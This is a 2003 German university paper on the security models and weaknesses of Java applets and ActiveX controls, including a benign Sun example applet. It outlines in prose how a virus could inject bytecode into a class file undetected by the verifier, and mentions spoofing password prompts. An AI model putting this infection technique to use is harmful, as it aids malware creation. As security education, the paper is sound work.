Malicious Java Applets und ActiveX Erstellt am 20. Februar 2003 Von: René Herrmann <[email protected]> Betreuer: Prof. Dr. J.-M. Piveteau Diese Arbeit wurde an der Hochschule Rapperswil, Abteilung Informatik geschrieben. HSR HOCHSCHULE FÜR TECHNIK RAPPERSWIL http://www.hsr.ch Das Dokument und dessen Inhalt ist Eigentum der Hochschule Rapperswil, Schweiz. c 2003 Hochschule Rapperswil Typeset by LATEX Die in diesem Dokument verwendeten Soft- und Hardwarebezeichnungen und Markennamen der jeweiligen Firmen unterliegen zum Teil warenzeichen-, marken- oder patentrechtlichem Schutz. Zusammenfassung In den vergangenen Jahren sind viele Diskussionen über die Sicherheitsrisiken von ausführbarem Inhalt von Web-Seiten z.B. Java Applets und ActiveX Controls geführt worden. Während vor allem die Entwickler solcher Technologien (z.B. Sun, Microsoft) die Benutzer überzeugen wollen, daß solche Techniken sicher angewendet werden können, sind viele Benutzer und Organisationen sehr skeptisch und vorsichtig im Umgang mit solchen Technologien. Dieser Beitrag wird an den Beispielen Java und ActiveX die Risiken solcher Technologien aufzeigen. Das Schwergewicht wird dabei auf Java gelegt. Nach einer allgemeinen Besprechung der Problematik wird eine Übersicht der verwendeten Sicherheitskonzepte und deren Realisierung erläutert. Anschliessend werden Schwachstellen aufgezeigt, die auf Probleme des Sicherheitskonzeptes aufmerksam machen sollen. Inhaltsverzeichnis Zusammenfassung 1 Einleitung 1.1 Zweck . . . . . . . 1.2 Gültigkeitsbereich 1.3 Struktur . . . . . . 1.4 Begriffe . . . . . . iii . . . . 2 2 2 3 3 2 Malicious Mobile Code 2.1 Gefahrenszenarios . . . . . . . . . . . . . . . . . . . . . . . . . . . . 2.2 Möglichkeiten in Java . . . . . . . . . . . . . . . . . . . . . . . . . . 2.3 Möglichkeiten in Active X . . . . . . . . . . . . . . . . . . . . . . . . 4 4 5 8 3 Java Sicherheitsprinzipien 3.1 Sicherheitsmodell . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 3.2 Massnahmen gegen Malicious Code . . . . . . . . . . . . . . . . . . . 3.3 Design . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 9 9 10 11 4 Java Exploited 4.1 Manipulation einer Class-Datei . . . . . . . . . . 4.2 Komplexität der sicherheitskritischen Teile . . . . 4.3 Keine eindeutige Relation zwischen Bytecode und 4.4 Verteiltes Modell . . . . . . . . . . . . . . . . . . 4.5 Ärgerliche Java Programme . . . . . . . . . . . . . . . . . 15 15 16 17 17 17 5 ActiveX 5.1 Sicherheitsprinzipien . . . . . . . . . . . . . . . . . . . . . . . . . . . 5.2 Problemzonen . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 5.3 Bekannte Attacken . . . . . . . . . . . . . . . . . . . . . . . . . . . . 18 18 19 20 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . Java . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . Code . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . INHALTSVERZEICHNIS 6 Schlussfolgerung 6.1 Fazit . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 6.2 Ausblick . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 22 22 22 A ActiveX Exploit 23 B Abkürzungsverzeichnis 25 Literaturverzeichnis 26 1 Kapitel 1 Einleitung Beim Aufruf einer Webseite im Internet gelangen Informationen von einem fremden System direkt auf den eigenen Computer. Dabei handelt es sich nicht nur um Texte und Bilder sondern häufig auch um ausführbaren Programmcode. Dieser Programmcode wird auf dem heimischen Computer vom Browser oder einem automatisch gestarteten Programm interpretiert oder er befindet sich bereits in compiliertem Zustand und wird direkt durch die CPU ausgeführt. Oft geschieht dies, ohne dass ein Interagieren des Benutzers nötig ist, geschweige denn der Benutzer davon in Kenntnis gesetzt wird. Java Applets und ActiveX Komponenten sind Elemente im Internet, die diese Mächtigkeit des selbstausführbaren Programmcodes in sich tragen. Die Gefahren die von Java Applets und ActiveX Komponenten ausgehen können liegen in der automatischen Ausführung und dem Umstand, dass diese Information von einer beliebigen auch nicht vertrauenswürdigen Quelle im Internet stammen kann. Aus diesem Grund müssen für solche Komponenten spezielle Sicherheitsvorkehrungen getroffen werden. 1.1 Zweck Die vorliegende Arbeit gibt einen Einblick in die Machbarkeit, wie auch die möglichen Auswirkungen von bösartigen Java Applets und ActiveX Komponenten. Sie ermöglicht einem Internetbenutzer die Risiken, die von solchen Programmen ausgehen einzuschätzen. Die Erläuterung der vorhandenen Sicherheitsvorkehrungen sollen ihm die Konfiguration seines Systems erleichtern. 1.2 Gültigkeitsbereich In der vorliegenden Arbeit liegt das Schwergewicht in folgenden Bereichen: • Bösartige Java Applets (auch Malicious Java Applets genannt) Kapitel 1: Einleitung • Bösartige ActiveX Komponenten (auch Malicious ActiveX genannt) • Sicherheitsvorkehrungen gegen bösartigen Programmcode (in Java oder ActiveX) Ganz bewusst ausgeschlossen bzw. sofern nötig nur am Rande betrachtet werden folgende Themen • theoretische Grundlagen der Sicherheit von Informationssystemen • Java Virtual Machine • Grundlagen der ActiveX Technologie 1.3 Struktur Der Bericht ist folgendermassen strukturiert: Nach der Einleitung folgt ein Mögliches Szenario mit einem bösartigen Java Applet, bzw. einer bösartigen ActiveX Komponente und eine Einführung in die Möglichkeiten von bösartigem Code. Nach einer Erleuterungen der Java Sicherheitsprinzipien folgt eine Durchleuchtung von Teilen der Sicherheitskomponenten und eine Darstellung von möglichen Schwächen. Nach einem Kapitel über ActiveX und seinen Sicherheitsaspekten wird ein Fazit gezogen, dem ein Ausblick über zukünftig zu erwartende Entwicklungen im Bereich von bösartigen Applets und ActiveX Komponenten folgt. 1.4 Begriffe Der Begriff Applet wird stellvertretende für Java Applet“ verwendet. Die in engli” scher Literatur verwendeten Begriffe ActiveX Controls“, ActiveX Elements“ wer” ” den hier mit ActiveX Komponenten bezeichnet. Malicious Code“ und bösartiger ” ” Programmcode“ werden als Synonyme verwendet. Weitere in diesem Dokument verwendeten Abkürzungen sind im Anhang B auf Seite 25 zusammengefasst. Das Literaturverzeichnis mit sämtlichen verwendeten Referenzen befindet sich auf Seite 26. 3 Kapitel 2 Malicious Mobile Code Malicious Mobile Code oder bösartiger Code beschreibt ein Programm, das über ein Neztwerk auf den Rechner geladen und ausgeführt werden kann und dem Benutzer in irgendeiner Weise Schaden zu fügt. Im folgenden Kapitel wird ein mögliches Szenario beschrieben, ein solches Programm Schaden verursachen könnte. Anschliessend wird gezeigt, welche Möglichkeiten Java und ActiveX zur Programmierung von Malicious Mobile Code bietet. 2.1 Gefahrenszenarios Es gibt verschiedene Situationen in denen heruntergeladener und ausgeführter Programmcode dem Benutzer Schaden verursachen kann. In Zusammenhang mit bösartigem Programmcode sind vor allem folgende Sicherheitsaspekte von besonderem Interesse: Die Identifikation, Authentisierung, Autorisierung und die Berechtigungskontrolle. Für einen gezielt herbeigeführten Schaden ist in Abbildung 2.1 ein Mögliches Angriffsszenario dargestellt. 1. Das Applet wird von einer Webseite geladen 2. Es stellt eine neue Verbindung zu einem benachbarten Rechner im internen Netzwerk her und tauscht mit ihm Informationen aus 3. Es gelangen Daten zurück ins öffentliche Netz, die nur für das interne Netz bestimmt waren Schritt eins und drei sind legitime Verbindungen, falls die Firewall einen normalen Webzugriff und die Browser-Einstellungen das ausführen von Java erlaubt, was in der Regel den Standardeinstellungen entspricht. Die in Schritt zwei autonom durch das Applet hergestellte Verbindung ist realistischer, als man vielleicht im ersten Augenblick denkt. Ein lokal ausgeführtes Java Applet besitzt alle dazu notwendigen Rechte. Wird vor der Ausführung des Programmes ein dazugehörendes Zertifikat Kapitel 2: Malicious Mobile Code mit einem simplen Mausklick bestätigt, ist der Aufbau einer solchen Verbindung sowohl für ein heruntergeladenes Java Applet, wie auch eine ActiveX Komponente erlaubt. Abbildung 2.1: Angriffsszenario für ein Java Applet oder eine ActiveX Komponente Die Ursachen für einen Schaden können verschiedener Natur sein: • Programmierfehler • Schwachstellen der Komponenten die ausgenutzt werden können • gezielt oder zufällig Manipulierte Komponenten • bösartige Komponenten Ursachen für das Entstehen eines Schadens können durchaus auch ohne Absicht erfolgen. Die Sicherheitsvorkehrungen in der Laufzeitumgebung und bei der Übertragung von ausführbarem Code müssen aber einer absichtlichen Schadensverursachung standhalten. 2.2 Möglichkeiten in Java Eines der Hauptmerkmale von Java ist die Plattformunabhängigkeit. Java-Applets können ohne Veränderungen auf einer großen Anzahl verschiedener Betriebssysteme 5 Kapitel 2: Malicious Mobile Code ausgeführt werden (z.B. MS-Windows, MAC-OS, UNIX). Plattformunabhängigkeit an sich stellt kein Sicherheitsproblem dar, allerdings kann es die Folgen und die Verbreitung eines erfolgreichen Angriffs erhöhen. Bis heute hat sich die Vielfalt der am Internet angeschlossenen Plattformen aus sicherheitstechnischer Sicht als eine natürliche Barriere ausgewirkt. Dadurch waren Sicherheitsprobleme oft auf eine Plattform beschränkt. Ein Angriff, der mit Java realisiert würde, würde hingegen nahezu alle gängigen Plattformen gefährden. Die Verbindung von java-fähigen Systemen durch ein globales Netz, wie das Internet erhöht die Zahl der Geschädigten zusätzlich. Der Befehlssatz der Sprache und die verfügbaren Bibliotheken erlauben das entwickeln von mächtigen Programmen. Aus diesem Grund wird vor der Ausführung eines Java Programmes die Entscheidung gefällt, ob es sich um ein vertrauensvolles Programm (trusted Application) handelt oder nicht. Applets werden dabei als nicht vertrauensvoll eingstuft und werden unter den entsprechenden Sicherheitsvorkehrungen (beschrieben auf der Sun Homepage [12]), innerhalb der sogenannten Sandbox gestartet. Ein Applet kann • eine Verbindung zu seinem Ursprungsserver1 aufzunehmen • über die Verbindung zum Ursprungsserver persistente Daten halten • beliebige System-Ressourcen (CPU und Hauptspeicher) für sich beanspruchen • verschiedene Systemvariablen (Auflistung in Tabelle 2.1) abfragen Die Ausgabe eines Applets2 , welches die Systemvariablen ausliest ist in Abbildung 2.2 zu sehen. Tabelle 2.1: Für ein Applet einsehbare Systemvariablen Variablenname java.version java.vendor Bedeutung Java Versionsnummer herstellerspezifischer String des JavaHerstellers URL des Java-Herstellers Versionsnummer der Java Laufzeitumgebung Name des Betriebssystems Architektur des Betriebssystems File Separator Path Seperator Zeichen für Zeilenumbruch java.vendor.url java.class.version os.name os.arch file.separator path.separator line.separator 1 Der Ursprungsserver ist der Server von dem das Applet heruntergeladen wurde Beispiel entnommen aus dem Java Tutorial von Sun[12] http://java.sun.com/sfaq/example/ getOpenProperties.html 2 6 Kapitel 2: Malicious Mobile Code Abbildung 2.2: Beispiel Applet für das Auslesen von Systemvariablen 7 Kapitel 2: Malicious Mobile Code 2.3 Möglichkeiten in Active X Folgendes Zitat von Microsoft gibt einen Eindruck der unterschiedlichen Handhabung der Sicherheit von ActiveX im Vergleich zu Java: r component, there Because an ActiveX control is a Microsoft Win32 ” is no sandboxing, that is, it can run without restrictions. You should think about how you can restrict functionality to prevent others from repurposing your control to possibly malicious ends.3“ Dies bedeutet, dass eine ActiveX Komponente alles tun kann, was die Programmiersprache in der es geschrieben wurde ermöglicht. 3 Aus Designing Secure ActiveX Controls“ von Microsoft [10], http://msdn.microsoft.com/ ” library/default.asp?url=/workshop/components/activex/intro.asp 8 Kapitel 3 Java Sicherheitsprinzipien 3.1 Sicherheitsmodell Mit der Weiterentwicklung der Sprache Java hat Sun ihr Sicherheitsmodell immer weiter differenziert. Abbildung 3.1 ist eine Darstellung1 des aktuellen Modells. Es wird in Security in Java 2 SDK 1.2“ von Mary Dageforde [5] und in Java Security ” ” Architecture (JDK1.2)“ von Li Gong [6] ausführlich erklärt. Abbildung 3.1: Java Sicherheitsmodell seit JDK 1.2 1 Bild aus der Online-Lektion “Security Features Overview“ von Mary Dageforde [5], http:// java.sun.com/docs/books/tutorial/security1.2/overview/index.html Kapitel 3: Java Sicherheitsprinzipien Das mit Sandbox Restricted Access“ bezeichnete Feld abstrahiert eine von den ” Zugriffsrechten eingeschränkte Laufzeitumgebung eines Java-Programmes. Es existieren verschiedene Abstufungen in der Stärke der Restriktionen des Zugriffs eines Java-Programmes. Diese sind mit domain“ gekennzeichnet. Sie werden definiert ” durch die Security Policy“. Wird ein Programm als vertrauenswürdig angesehen, ” sei dies aufgrund der Policy oder weil es lokal ausgeführt wird besitzt es vollen Resourcenzugriff (bezeichnet mit JVM Full Access to Resources“). Der Security ” Manager übernimmt die Durchsetzung der Policy und kontrolliert den Zugriff auf die Systemresourcen. Standardmässig wird Remote Code wie z.B. Applets kein Zugriff außerhalb der Sandbox gewährt. Der Java Security Manager prüft vor der Ausführung des Applets, ob das Programm keine unberechtigten Zugriffe enthält und verhindert diese ggf. während der Laufzeit. Seit JDK 1.1 existieren sog. Signed Applets. Diese signierten Applets, die in einem JAR-Archiv (beim Internet Explorer in einem CAB-Archiv) gespeichert sein müssen, werden zusammen mit einer digitalen Signatur auf den Client-Rechner geladen. Vertraut der Client der Signatur, erhält das Programm vollen Zugriff auf alle Ressourcen und wird somit wie eine Applikation lokalen Ursprungs behandelt. Seit Java 2 existiert ein differenzierteres Sicherheitsmodell durch die sog. security policy, eine Art Datenbank, in der Sicherheitseinstellungen gespeichert werden. Dadurch ist es möglich, die Zugriffsrechte für die einzelnen Programme - egal ob lokal oder über das Netz geladen - genauer zu spezifizieren. So kann beispielsweise für jedes Programm genau festgelegt werden, welche Dateien und Verzeichnisse gelesen oder verändert werden dürfen oder auf welche Netzwerkverbindungen zugegriffen werden darf. Damit dies möglich ist, organisiert das Laufzeitsystem Programme in Domains. Jede Instanz des Programms erhält die gleichen Zugriffsbeschränkungen. Lokal gestartete Java-Applikationen laufen per Voreinstellung mit uneingeschränktem Zugriff, können aber optional durch die security policy in ihren Rechten eingeschränkt werden. 3.2 Massnahmen gegen Malicious Code Die wichtigsten Sicherheitsaspekte von Java im Zusammenhang mit malicious Code sind: • Identifikation und Authentisierung • Autorisierung (Rechteverwaltung) • Berechtigungskontrolle (Rechteprüfung) Im Folgenden werden die angesprochenen Sicherheitsaspekte genauer erläutert. 10 Kapitel 3: Java Sicherheitsprinzipien Die Java Virtual Machine (JVM) muss als erstes die auszuführende .classDatei als Java-Bytecode-Datei identifizieren. Dabei wird auch überprüft, ob das Programm, welches vorgibt ein vertrauswürdiges Programm zu sein auch tatsächlich vertrauenswürdig ist (Authentifizierung). Über Autorisierungs Mechanismen soll es möglich sein nicht vertrauenswürdigen Code anders zu behandeln als vertrauenswürdigen Code. Bei einfacheren Betriebssystemen erhalten die von einem Nutzer gestarteten Programme dieselben Rechte wie der Nutzer selbst. Diese Eigenschaft ist für vertrauenswürdigen Code unter Umständen durchaus ausreichend, stellt aber ein eherebliches Sicherheitsrisiko dar, wenn ein Benutzer sowohl vertrauenswürdigen als auch unsicheren Code zur Ausführung bringen will. Wegen der Portabilität von Java, muss Java selber eine Rechteverwaltung implementieren. Diese Implementation ist innerhalb der virtuellen Maschine zu finden. Sie verwaltet die Rechte der Programme und ihre Zugriffsmöglichkeiten auf Betriebsmittel. Zu den Betriebsmitteln gehören beispielsweise Dateien und Kommunikationskanäle zu Programmen auf anderen Rechnern. Bei der Berechtigungskontrolle geht es darum jeden Zugriff auf seine Zulässigkeit zu prüfen und unzulässige Zugriffe abzuweisen. 3.3 Design Zur Überwachung der Sicherheitsbeschränkungen durch die Sandbox sind in der Laufzeitumgebung drei Sicherheitskomponenten implementiert, die den Java-Code überprüfen: Der Bytecode Verifier (auch Java Verifier genannt), der Class Loader und der Security Manager und seit der Version Java 1.2 der Access Controller. 3.3.1 Bytecode Verifier Der Bytecode Verifier prüft vor dem Ausführen der Klasse, ob die geladenen Applets der Java-Sprachspezifikation entsprechen. Ist dies nicht der Fall, wird die angeforderte Klasse verweigert und eine Exception ausgelöst. Diese Überprüfung ist unverzichtbar, da bei Applets von unbekannten Quellen nicht davon ausgegangen werden kann, dass ein korrekt funktionierender Compiler (oder überhaupt ein Compiler) verwendet wurde, um das Applet zu erzeugen. Der Verifier versucht ebenfalls festzustellen, ob ein Applet die Kontrolle des Security Managers zu umgehen versucht oder ob das Applet irreguläre Zustände verursachen könnte. Zusammenfassend wird der Bytecode auf folgende Eigenschaften hin geprüft: • haben alle Bytecode-Befehle die richtige Anzahl von Operanden und sind die Operanden vom richtigen Typ • gibt es illegale Casts 11 Kapitel 3: Java Sicherheitsprinzipien • erfolgt der Zugriff auf private, public und protected Klassen bzw. Elementeklassen korrekt • werden Speicherstellen direkt angesprungen 3.3.2 Class Loader Der Klassenlader übernimmt zwei Funktionen. Wenn die JVM zusätzliche Klassen anfordert, wird der Klassenlader aktiviert und lädt über eigene Methoden die angeforderten Klassen (über das Internet oder von der lokalen Festplatte). Der Java Class Loader teilt jeder Klasse einen sogenannten Namespace (Namensraum) zu. Alle Klassen, die von einem Server geladen werden, erhalten denselben Namespace. Nur die Klassen eines Namespace können sich gegenseitig beeinflussen, jedoch nicht auf Klassen in anderen Namespaces zugreifen. Die Aufgabe des Class Loaders ist es, dem auszuführenden Applet alle erforderlichen Klassenbibliotheken zur Verfügung zu stellen. Von entscheidender Bedeutung ist dabei die Herkunft einer Klasse. Die Klassen, die lokal in einem speziellen Verzeichnis (spezifiziert in der Umgebungsvariable CLASSPATH) abgelegt sind, werden nicht denselben Kontrollen unterzogen wie Klassen, die über das Internet geladen werden. Wenn ein Applet eine entsprechende Klasse benötigt, durchsucht der Class Loader zuerst die lokalen Klassen und anschließend erst externe Quellen (z. B. das Herkunftsverzeichnis des Applets im Internet). Der Class Loader sorgt ebenfalls dafür, daß verschiedene Applets, die gleichzeitig auf dem System ausgeführt werden, sich nicht gegenseitig beeinflußen können. Dies wird mit Hilfe eines getrennten Namensraums für jedes Applet realisiert. 3.3.3 Security Manager Der Java Security Manager wacht über die System Resourcen, wie z.B. das File System, und prüft beim Zugriff auf diese, ob das Programm die entsprechende Berechtigung dazu besitzt. Er kann von keiner Klasse übergangen werden, wenn sie einen Zugriff auf eine Ressource des Systems vornehmen will. Per Default erhalten Applikationen uneingeschränkten Zugriff auf alle Ressourcen, während Applets mit den Zugriffsbeschränkungen durch eine Sandbox ausgeführt werden. Fordert ein Programm den Zugriff auf unberechtigte Ressourcen, wird eine Security Exception ausgelöst. Das folgende Applet2 löst eine Security Exception aus, da es versucht in eine Datei Namens writetest zu schreiben: /* * By default, this applet raises a security exception, unless * you configure your policy to allow applets from its location 2 Das Beispiel wurde aus einem Tutorial von Sun [11] entnommen, http://java.sun.com/docs/ books/tutorial/security1.2/tour1/step1.html 12 Kapitel 3: Java Sicherheitsprinzipien * to write to the file "writetest". */ import import import import java.awt.*; java.io.*; java.lang.*; java.applet.*; public class WriteFile extends Applet { String myFile = "writetest"; File f = new File(myFile); DataOutputStream dos; public void init() { String osname = System.getProperty("os.name"); } public void paint(Graphics g) { try { dos = new DataOutputStream(new BufferedOutputStream( new FileOutputStream(myFile),128 ); dos.writeChars("Cats can hypnotize you when you least expect it\n"); dos.flush(); g.drawString("Successfully wrote to the file named " + myFile + " -- go take a look at it!",10, 10); } catch (SecurityException e) { g.drawString("writeFile: caught security exception: " + e, 10, 10); } catch (IOException ioe) { g.drawString("writeFile: caught i/o exception", 10, 10); } } } Damit das Programm auf eine Datei zugreifen kann müsste ein Eintrag in der Policy-Datei gemacht werden. Eine Policy-Datei3 spezifiziert die Rechte für Programmcode von einer bestimmten Quelle(URL), mit einer bestimmten Signatur oder 3 Wie eine Policy-Datei erstellt und genutzt wird ist auf der Sun Webseite [11] unter http://java.sun.com/docs/books/tutorial/security1.2/tour1/step1.html zu finden 13 Kapitel 3: Java Sicherheitsprinzipien beidem. 3.3.4 Access Controller Der Security Manager delegiert die Durchsetzung der Policy an den Access Controller. Dieser prüft ob die Rechte, die durch die aufgerufenen Funktion benötigt werden mit den, in der Policy gesetzten Rechten übereinstimmen. 14 Kapitel 4 Java Exploited Anhand von verschiedenen Ansätzen soll im Folgenden die Sicherheit von Java genauer untersucht werden. 4.1 Manipulation einer Class-Datei Ein Virus1 , datenmanipulierend, sich autonom ausbreitend und auf jedem Betriebssystem lauffähig, wäre eine ernst zu nehmende Bedrohung. Um einen Virus zu realisieren sind folgende Aufgaben zu lösen: 1. Eine nicht infizierte Datei finden 2. Den eigenen Viruscode in die Datei einfügen 3. Den Programmablauf der Datei so manipulieren, dass der Virus ausgeführt wird, bevor die Kontrolle an den ursprünglichen Programmteil übergeben wird. Angenommen der Datenzugriff ist dem ausgeführten Java-Programm erlaubt, bestände die schwierigste Aufgabe darin andere potentielle Wirte zu manipulieren. Können kompilierte .class-Dateien andere manipulieren? Soll eine .class-Datei manipuliert werden, muss dies auf eine Weise erfolgen, dass der Bytecode-Verifier nichts davon bemerkt. Mit jeder Methode werden in der .classDatei verschiedene Datenbytes hinterlegt. Die Struktur dieser Methodendaten und ihre Bedeutung ist aus der Tabelle 4.1 ersichtlich. Die Bytes 5-10 beschreiben die Attribute2 der Methode. 1 2 Details entommen aus einem Artikel des Magazins Datenschutz und Datensicherheit“ [13] ” Attribute für das Exception-Handling wurden weggelassen Kapitel 4: Java Exploited Tabelle 4.1: Datenwerte einer Methode in der Java BytecodeDatei Nr. 1 2 3 4 5 6 7 8 9 10 Anz. Bytes 2 2 2 2 2 4 2 2 4 var. Bedeutung Klassenzugriffs-Flag Methodenname (Refernz auf einen Wert im Konstantenpool) Typ der Methode Anzahl der Attribute Zeigt auf eine Konstante im Pool mit dem Wert ’Code’ Länge aller Attribute der Methode Max. Stackgrösse Max. Anzahl lokaler Variablen Länge des eigentlichen Bytecodes Auszuführender Java-Bytecode Erweitern man beispielsweise eine Methode mit eigenem Bytecode, muss der eigene Bytecode im Feld Auszuführender Java-Bytecode“(Byte Nr. 10) eingefügt ” werden. Damit der Verifier nicht Alarm schlägt ist das Feld Länge des eigent” lichen Bytecodes“(Byte Nr. 9), um die Anzahl eingefügter Bytes zu erhöhen. Byte Nummer 6 ändert sich ebenfalls, um den gleichen Betrag. Eine auf diese Weise manipulierte .class-Datei erfüllt immer noch vollständig die vom Verifier(Abschnitt 3.3.1) geprüften Bedingungen. 4.2 Komplexität der sicherheitskritischen Teile In der Literatur wird oft darauf hingewiesen, daß es das Ziel sein sollte, den sicherheitskritischen Teil eines Systems (Trusted Computing Base, TCB) so klein und einfach wie möglich zu gestalten. Denn je größer der sicherheitskritische Teil eines Systems ist, desto schwieriger ist es, diesen Teil fehlerfrei zu implementieren bzw. nachzuweisen, daß er als Ganzes effektiv ist. Ist dagegen der sicherheitskritische Teil kompakt, kann möglicherweise die Fehlerfreiheit formal verifiziert werden. Im Java- System ist der sicherheitskritische Teil relativ groß (ca. 23.000 Code-Zeilen), was eine intensive Überprüfung sehr aufwendig werden läßt. Die Schwierigkeit, das Java- Sicherheitsmodell korrekt zu implementieren, manifestiert sich auch in den bei Browser-Implementierungen immer wieder aufgetretenen Problemen [1],[2]. 16 Kapitel 4: Java Exploited 4.3 Keine eindeutige Relation zwischen Bytecode und Java Code Es gibt keine Möglichkeit nachzuweisen, daß es nicht möglich ist, Bytecode zu schreiben, der zwar nicht der Java-Sprachdefinition entspricht, aber trotzdem vom Bytecode Verifier als gültig anerkannt wird. Es ist bereits gelungen, gültigen Bytecode zu schreiben, der von einem Java-Compiler nicht generiert werden kann [9]. Die JavaSprachspezifikation und deren Einhaltung sind jedoch von zentraler Bedeutung für das Java-Sicherheitsmodell. Daher ist dieses Problem besonders kritisch, denn es kann zu einer Untergrabung des Java-Sicherheitssystems führen. 4.4 Verteiltes Modell Eine der Schwächen des Java-Modells ist, daß es sich um ein verteiltes Modell handelt. Alle Sicherheits-Checks werden auf jedem einzelnen ausführenden Rechner durchgeführt. Die TCB wird dabei beliebig groß. Um sicherzustellen, daß ein komplettes Netzwerk gegen Java-Angriffe geschützt ist, muß daher sichergestellt werden, daß jeder einzelne Rechner sicher ist. In der Firewall-Literatur [4] wird immer wieder darauf hingewiesen, daß eine Verteidigungsstrategie, bei der jeder einzelne Netzwerk-Rechner geschützt werden soll, nahezu unmöglich zu kontrollieren und zu administrieren ist. Wie bereits erwähnt, kann bereits ein ungeschützter Rechner dazu führen, daß ein Angreifer Zugriff auf mehrere Komponenten eines Netzwerks gewinnt. 4.5 Ärgerliche Java Programme Generell ist alleine mit den einem Java Applet erlaubten Funktionen kein grosser Schaden anzurichten. Allerdings ist es möglich, nicht besonders aufmerksamen oder nicht informatik-kundigen Benutzern zu Schaden, indem mittels Javaprogrammen Dinge vorgetäuscht werden. Zum Beispiel könnte eine Passworteingabe programmiert werden, die ähnlich aussieht, wie eine, vom System verwendete Passworteingabe. In der aktuellen Java Version ist das Erzeugen eines Porgrammfensters ohne einen Rahmen, der einen Programmtitel enthält mit einem Java Applet allerdings nicht möglich. Dies wäre von Vorteil, damit das Programm nicht gleich entlarvt wird. Programme die den Benutzer einfach nur auf die Nerven gehen sollen, indem sie, solange der Browser nicht geschlossen wird, immer wieder geräusche von sich geben, sind ebenfalls einfach zu realisieren. 17 Kapitel 5 ActiveX Die ActiveX Technologie wurde von Microsoft nicht speziell für den Einsatz auf dem Internet entwickelt, sondern ist eine Art Nebenprodukt der Component Objekt Model (COM) Technologie, die eine wichtige Komponente der Microsoft Windows Architektur geworden ist (Ausführliche Zusammenhänge erklärt im Byte Magazin, September 1997 [3]). Teile dieser Technologie (z.B. OLE) wird von den meisten Windows-Anwendern unwissentlich fast täglich eingesetzt. OLE erlaubt es z.B. Objekte in Microsoft Office Dokumente einzufügen (z.B. ein Excel-Sheet in ein WordDokument). Die ActiveX Technologie wird derzeit nahezu ausschließlich von Microsoft Windows Plattformen in Verbindung mit dem Microsoft Internet Explorer unterstützt. Auf der ActiveX Technologie beruhende Programme werden in Form sogenannter Controls vom Internet geladen. Durch geeignete Plug-Ins können ActiveX Komponenten inzwischen auch mit Netscape Browsern benutzt werden. Microsoft strebt außerdem danach die COM Technologie und damit auch ActiveX auf andere Plattformen (z.B. MAC-OS) zu erweitern. 5.1 Sicherheitsprinzipien ActiveX Komponenten können prinzipiell in jeder beliebigen Programmiersprache programmiert sein (am häufigsten C/C++, Visual Basic) und werden in maschinenabhängiger Form auf dem Internet bereitgestellt und heruntergeladen. Zur Ausführung auf dem Zielsystem benötigen ActiveX Komponenten einen sogenannten Container. In unserem Fall ist das ein ActiveX fähiger Browser. Ansonsten werden ActiveX Komponenten wie traditionelle Anwendungen auf dem Zielsystem ausgeführt. Dies hat zur Folge, daß ActiveX Komponenten wie traditionelle Applikationen direkt auf das Betriebssystem und die Systemressourcen zugreifen (siehe Abbildung 5.1) können. Kapitel 5: ActiveX Abbildung 5.1: ActiveX Modell Für Windows 95/98 bedeutet dies vollen Zugriff auf alle Ressourcen. Unter WindowsNT hat die Komponente die gleichen Rechte wie der Browser selber bzw. jede andere Applikation die unter dem selben Benutzerkonto ausgeführt wird. Da die ActiveX Technolgie nicht speziell für den Einsatz auf dem Internet entwickelt wurde, spielten Sicherheitsüberlegungen bei der Entwicklung keine Rolle. Aus diesem Grund verfügt ActiveX, anders als Java, über kein spezifiziertes Sicherheitsmodell. Für den Einsatz auf dem Internet wurde nachträglich die Möglichkeit eingeführt, ActiveX Komponenten digital zu signieren. Wenn eine so signierte Komponente geladen wird, wird der Benutzer vor die Wahl gestellt, die Ausführung zuzulassen oder zu unterbinden. Der Benutzer hat außerdem die Möglichkeit die Ausführung von Komponenten die von bestimmten Quellen signiert wurden generell zu gestatten bzw. zu verbieten. Wird die Ausführung zugelassen hat die ActiveX Komponente automatisch vollen Zugriff. 5.2 Problemzonen Die Zusammenstellung der folgenden Kritikpunkte an ActiveX entspricht inhaltlich den Punkten aus dem Kapitel Malicous ActiveX Controls“ aus dem Buch Mali” ” cious Mobile Code“ von Roger A. Grimes [7]. 19 Kapitel 5: ActiveX 5.2.1 Keine Sandbox Ein Hauptkritikpunkt an ActiveX ist, dass die Komponenten nicht isoliert ausgeführt werden können. Da in ActiveX alles programmiert werden kann, was in einer gängigen Progrmmiersprache möglich ist, können damit auch auch Dateizugriffe und der Aufbau beliebiger anderer Internetverbindungen progrmmiert werden. Innerhalb der Sandbox von Java ist dies nicht möglich. 5.2.2 Fehlerhafte Komponenten Für umfangreichere Programme ist es praktisch unmöglich zu Beweisen, dass sie fehlerfrei sind. Noch schwieriger ist es herauszufinden, ob es möglicherweise eine Situation gibt, in dem das Programm für einen anderen Zweck missbraucht werden könnte. Jede ActiveX Komponente ist in diesem Sinne ein Risiko. 5.2.3 Buffer Overflows Standardmässig überprüft ActiveX keine übergebenen Parameter auf ihre Korrektheit. Eine ActiveX Komponente, die nicht mit speziellem Augenmerk auf Sicherheit programmiert wurde, und davon gibt es eine Menge, könnte übergebene Daten in einen nicht dafür vorhergesehenen Bereich des Speichers schreiben. Auf einem System, auf dem eine solche Komponente ausgeführt würde, könnten per Remote-Zugriff beliebige andere Programme gestartet werden. 5.2.4 Verantwortung liegt beim Benutzer Eine einzige Warnung auf dem Bildschirm hält viele Benutzer nicht davon ab ein Programm auszuführen. Arbeitet man mit den heutzutage auf dem Mark am meisten verbreiteten Programmen, ist man sich gewohnt mitten in der Arbeit erscheinede Mitteilungen vom Bildschirm reflexartig wegzuklicken. Werden im Internet in Zukunft mehr ActiveX Komponenten eingesetzt werden, wird die Sensibilität für solche Bildschirmmeldungen in der Browserumgebung ebenfalls verschwinden. Es möchten sich nicht alle Benutzer des Internets vor dem Surfen“ eingehend mit bösartigen Ac” tiveX Komponenten und Javacode auseinandersetzten. Die Sicherheit des Systems sollte von der Umgebung, in der autonomer Programmcode ausführbar ist, besser unterstützt werden. 5.3 Bekannte Attacken Ein Beispiel für eine Bufferoverflow Attacke durch eine ActiveX Komponente ist auf der Internetseite von SecurityFocus [8] zu finden. 